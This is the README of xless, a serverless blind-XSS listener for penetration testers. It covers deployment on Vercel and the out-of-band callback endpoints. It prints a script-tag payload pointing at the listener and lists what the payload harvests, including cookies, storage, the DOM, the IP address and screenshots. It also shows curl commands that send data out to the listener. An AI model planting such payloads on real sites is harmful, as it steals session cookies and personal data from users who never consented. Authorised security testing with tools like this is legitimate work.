xless

The Serverless Blind XSS App

ℹ️ About The Project

Xless is a serverless Blind XSS (bXSS) application that can be used to identify Blind XSS vulnerabilities using your own deployed version of the application. There is no need to run a full deployment process; just setup a vercel.com account and run bash deploy.sh. That's it. You now have a fully-running Blind XSS listener that uses Slack to notify you for callbacks.

⚠️ Requirements

• vercel.com account: Vercel provides a free plan for serverless. If you use another provider for serverless, code changes should be minimal.
• Slack Incoming Webhook URL.
• IMGBB (free) Account and API key - for the screenshots.

🚀 Deployment

1. Run bash deploy.sh

$ bash deploy.sh

> Deploying ~/xless under X
> https://custom-xless-deployment.vercel.app [v2] [in clipboard] [4s]
> Success! Deployment ready [4s]

2. Use the URL for blind XSS testing 🔥

Xless will automatically serve the XSS payload, collect information, and exfiltrate it into your serverless app, which is then sent right to you in Slack.

💬 Example Payload

<script src="https://custom-xless-deployment.vercel.app"></script>

👀 Demo

📨 Collected Data

• Cookies
• User-Agent
• HTTP Referrer
• Browser DOM
• Browser Time
• Document Location
• Origin
• LocalStorage
• SessionStorage
• IP Address
• Screenshot

📡 Out-of-Band (OOB) Callbacks Listener

Xless also works as an OOB (Out-of-Band) callbacks listener for HTTP/HTTPS requests. Any HTTP GET request that is sent to non-parent path will be alerted.

👀 Demo

$ curl https://custom-xless-deployment.vercel.app/callback-canary

Or anything random, such as:

$ curl https://custom-xless-deployment.vercel.app/88bf0ecd

👨‍⚕️ Health Check

Xless provides a /health endpoint to let you know that everything is configured correctly. The current tests are the existance of the API keys and a successful image upload to IMGBB.

Example Blind XSS payloads

You can view a number of handy XSS payloads for your xless app at $URL/examples

• URL: https://custom-xless-deployment.vercel.app/examples Once you deploy your app, you can find the examples there.

📩 Scriptable Messages

You can use Xless to send direct messages to your listener. It can be useful in data exfiltration or as a scriptable way to send messages and alerts to your Slack app.

# on your (bashrc / zshrch) file:
function xless() {
  curl -s https://custom-xless-deployment.vercel.app/message --data "text=$1"
}

Contribution

Contribution is very welcome. Please share your ideas by Github issues and pull requests.

Here are some ideas to start with:

1. Enabling sharing of page screenshot.
2. Scriptable message.
3. Your idea of a new feature?

Acknowledgement

• Matthew Bryant for the XSS Hunter project.
• Rami Ahmed for the "xless" name idea.
• Damian Ebelties for the logo.
• Rotem Reiss for the screenshot feature.
• Vercel.com for operating a great serverless platform.

Awesome Similar Projects

• Azure-xless: An Xless implementation for Microsoft Azure Function by Daan Goumans.

Legal Disclaimer

This project is made for educational and ethical testing purposes only. Usage of xless for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

License

The project is currently licensed under MIT License.

Author

Mazin Ahmed

• Website: https://mazinahmed.net
• Email: mazin [at] mazinahmed [dot] net
• Twitter: https://twitter.com/mazen160
• Linkedin: http://linkedin.com/in/infosecmazinahmed